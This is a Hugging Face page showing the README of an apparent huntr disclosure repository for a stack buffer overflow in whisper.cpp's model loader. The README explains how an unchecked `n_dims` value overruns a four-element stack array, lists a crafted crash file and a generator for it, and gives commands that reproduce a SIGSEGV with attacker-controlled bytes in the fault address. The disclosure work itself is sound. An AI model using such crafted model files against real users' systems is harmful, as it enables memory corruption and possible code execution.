|
Download README.md from ybgwon96/whispercpp-ndims-stack-overflow-poc: direct link, hf CLI and curl.
- Browser
- Download file 2.73 kB
-
https://huggingface.co/ybgwon96/whispercpp-ndims-stack-overflow-poc/resolve/main/README.md
- Command line
-
hf download hf://ybgwon96/whispercpp-ndims-stack-overflow-poc/README.md
-
curl -L -o README.md https://huggingface.co/ybgwon96/whispercpp-ndims-stack-overflow-poc/resolve/main/README.md
2.73 kB
| license: mit | |
| tags: | |
| - security | |
| - poc | |
| - huntr | |
| - model-file-vulnerability | |
| # PoC — whisper.cpp unchecked `n_dims` stack buffer overflow | |
| Proof-of-concept model file for a **huntr Model File Vulnerabilities** report against | |
| [`ggml-org/whisper.cpp`](https://github.com/ggml-org/whisper.cpp) @ `6fc7c33`. | |
| **This repository contains a deliberately malformed GGML model file for authorized security research | |
| (responsible disclosure via huntr). It is not a usable model.** | |
| ## The bug (summary) | |
| `whisper_model_load()` (and the sibling `whisper_vad_init_with_params()`) read a per-tensor | |
| `int32_t n_dims` from the model file and use it, **unchecked**, as the bound of a loop that writes into | |
| a fixed 4-element stack array `int32_t ne[4]`: | |
| ```cpp | |
| // src/whisper.cpp (whisper_model_load) | |
| :1874 read_safe(loader, n_dims); // attacker-controlled | |
| :1883 int32_t ne[4] = { 1, 1, 1, 1 }; // fixed 4-element STACK array | |
| :1884 for (int i = 0; i < n_dims; ++i) { | |
| :1885 read_safe(loader, ne[i]); // OOB stack write for n_dims > 4 | |
| :1886 nelements *= ne[i]; | |
| :1887 } | |
| ``` | |
| There is no `n_dims <= GGML_MAX_DIMS` check before the loop. All shape/size validation runs *after* it. | |
| A crafted model file with a large `n_dims` writes an attacker-controlled sequence of 4-byte words far | |
| past `ne[4]`, smashing the stack (CWE-787). The identical pattern exists at the VAD loader | |
| (`whisper_vad_init_with_params`, `src/whisper.cpp:5016/5025/5026`). | |
| ## Files | |
| | file | description | | |
| |---|---| | |
| | `poc_whisper_ndims.bin` | valid whisper "tiny" header + one tensor record with `n_dims=20000` and a run of `0x41414141` words. **Crashes `whisper-cli` with SIGSEGV.** | | |
| | `gen_whisper_ndims_poc.py` | pure-python generator (documents the exact header layout). | | |
| | `CRASH_PROVEN.md` | build commands + reproduced crash (attacker sentinel bytes in the fault address). | | |
| ## Reproduce | |
| ``` | |
| cmake -B build-rel -DCMAKE_BUILD_TYPE=Release -DGGML_METAL=OFF -DGGML_ACCELERATE=OFF -DGGML_BLAS=OFF \ | |
| -DWHISPER_BUILD_TESTS=OFF -DWHISPER_BUILD_SERVER=OFF \ | |
| -DCMAKE_C_FLAGS="-g -fstack-protector-all" -DCMAKE_CXX_FLAGS="-g -fstack-protector-all" | |
| cmake --build build-rel --target whisper-cli | |
| ./build-rel/bin/whisper-cli -m poc_whisper_ndims.bin -f /dev/null | |
| ``` | |
| Observed (default Release, no sanitizer): | |
| ``` | |
| whisper_model_load: CPU total size = 77.11 MB <- model built; enters the tensor-read loop | |
| stop reason = EXC_BAD_ACCESS (code=1, address=0x141414149) <- attacker's 0x41414141 bytes in the fault address | |
| exit=139 (SIGSEGV) | |
| ``` | |
| See `CRASH_PROVEN.md`. | |
| ## Disclosure | |
| Reported privately via huntr. Suggested fix: `if (n_dims < 0 || n_dims > GGML_MAX_DIMS) return false;` | |
| before the fill loop, at both call sites. | |